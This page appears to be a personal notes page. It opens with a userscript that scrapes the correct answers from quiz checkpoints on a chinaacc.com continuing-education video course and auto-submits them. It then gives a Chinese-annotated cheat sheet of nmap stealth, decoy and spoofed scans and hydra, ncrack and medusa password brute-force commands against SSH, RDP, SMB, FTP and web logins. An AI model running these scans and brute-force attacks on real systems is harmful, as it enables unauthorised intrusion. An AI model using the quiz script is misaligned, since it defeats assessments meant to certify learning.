Welcome

// ==UserScript==
// @name         answering
// @namespace    http://jxjyxuexi.chinaacc.com
// @version      0.1
// @description  try to take over the world!
// @author       lei
// @match        http://jxjyxuexi.chinaacc.com/CourseWare/*
// @grant        none
// ==/UserScript==

function answering() {
    // get correct answer!
    var ret = commit_user_select("");
    if (!ret || !ret.firstChild)
        return;
    var ans = ret.firstChild.innerHTML;
    var ajh = ans.indexOf('。');
    if (6<ans.length && ajh>5) {
        ans = ans.slice(5, ajh);
        if (ans === '错')
            ans = 'N';
        else if (ans === '对')
            ans = 'Y';
        // post our answer
        commit_user_select(ans);
    }
}
function commit_user_select(useranswervalue) {
    // parent node must exist!
    if (!document.getElementById('videoPointContent'))
        return null;
    // var useranswer = document.getElementsByName("useranswer");
    // var useranswervalue = "";
    // for (var i = 0; i < useranswer.length; i++) {
    //     if (useranswer[i].checked) {
    //         useranswervalue += useranswer[i].value;
    //     }
    // }
    //var pointTestUrl = "/CourseWare/1642430/9530/3434/video/PointTest";
    //var nowVideoID = "0101";
    var strUrl = pointTestUrl + "?rnd=" + Math.random();
    try {
        var xmlHttp = new XMLHttpRequest();
        var sdata = "testid=" + document.pointform.testid.value + "&useranswer=" + useranswervalue +
            "&pointnum=" + document.pointform.pointnum.value + "&forumid=" + document.pointform.forumid.value +
            "&questionid=" + document.pointform.questionid.value + "&pointtype=" + document.pointform.pointtype.value +
            "&newpointid=" + document.pointform.newpointid.value + "&videoid=" + nowVideoID;
        xmlHttp.open("Post", strUrl, false);
        xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        xmlHttp.send(sdata);
        //xmlHttp.addEventListener();
        if (xmlHttp.status == 200) {
            var xmlDoc = xmlHttp.responseText;
            eval("var obj =" + xmlDoc);
            if (obj.Results == "1") {
                document.getElementById("videoPointBg").style.display = "none";
                document.getElementById("videoPoint").style.display = "none";
                setValidTime(obj.MaxPlayTime);
                playVideo();
            } else {
                document.getElementById("PointQuestionAnswer").innerHTML = obj.ReturnStr;
                return document.getElementById("PointQuestionAnswer");
            }
        }
        return null;
    } catch (e) {
        return null;
    }
}
(function() {
    setInterval(answering, 3000);
})();

nmap -iflist  # 网卡路由信息
nmap -sP/-sn 192.168.0.0/24  # sP:用ping扫描判断主机是否存活; -sn:只进行主机发现,不进行端口扫描
# -sS是指示半开放tcp扫描,不会进行三次握手,目标主机几乎不会把连接计入系统日志.且扫描速度快,需root权限(T:不需要)
nmap -sSV IP  # V:包含端口进程的版本信息 U:UDP端口 -p80,22:仅扫描80+22端口 也可以把这些ip放到文件中.
nmap -O -PN IP  # -O:操作系统识别(-PN:不用ping远程主机,避免因防火墙失败)
nmap -D <ip>,<ip> IP  # 增加Decoy诱饵ip,当然自己的ip也在其中
nmap -e eth0 IP -S <ip>  # 伪装ip去探测
proxychains nmap ...  # 匿名代理,隐藏ip

yum install -y freerdp freerdp-devel
# -e ns: 空密码试探+指定用户名密码试探
# -R: 继续上一次的进度
# -t: 同时运行的线程数,默认16
# -s: 指定端口
hydra -L user.txt -P pwd.txt -e ns -vV -f -o ssh.log IP ssh  # -f:当破解了一个密码就停止
hydra -L user.txt -P pwd.txt -vV IP rdp/smb/ftp
hydra -l admin -P pwd.txt -m /index.php IP https
hydra -l admin -P pwd.txt -vV -f xx https-get https://xx/
hydra -l admin -P pwd.txt -vV IP http-post-form "/login:id=^USER^&password=^PASS^:wrong username or password"

ncrack -U user.txt -P pass.txt ftp://xxxx
ncrack -vv -U default.user/windows.user -P default.pwd/windows.pwd xxx:3389 CL=1 -f

# -M  指定module,如 FTP,HTTP,MSSQL,MYSQL,PostgreSQL,IMAP,POP3,SNMP,SSH,Telnet,VNC..
# -h  指定目标(如router)地址, -H:可指定一个输入文件,里面指定多个目标
# -n  指定目标的端口,如果他们不是默认时
# -u  指定user,如admin, -U:可指定一个输入文件,里面指定多个用户名
# -p  指定password, -P:类比-U
# -f  或-F,找到密码后允许我们停止扫描
# -e  如 -e ns :验证时可以吧用户名当作密码,可以使用空密码
medusa -M http -h 192.168.0.1 -n 80 -u admin -P wordlist.txt -F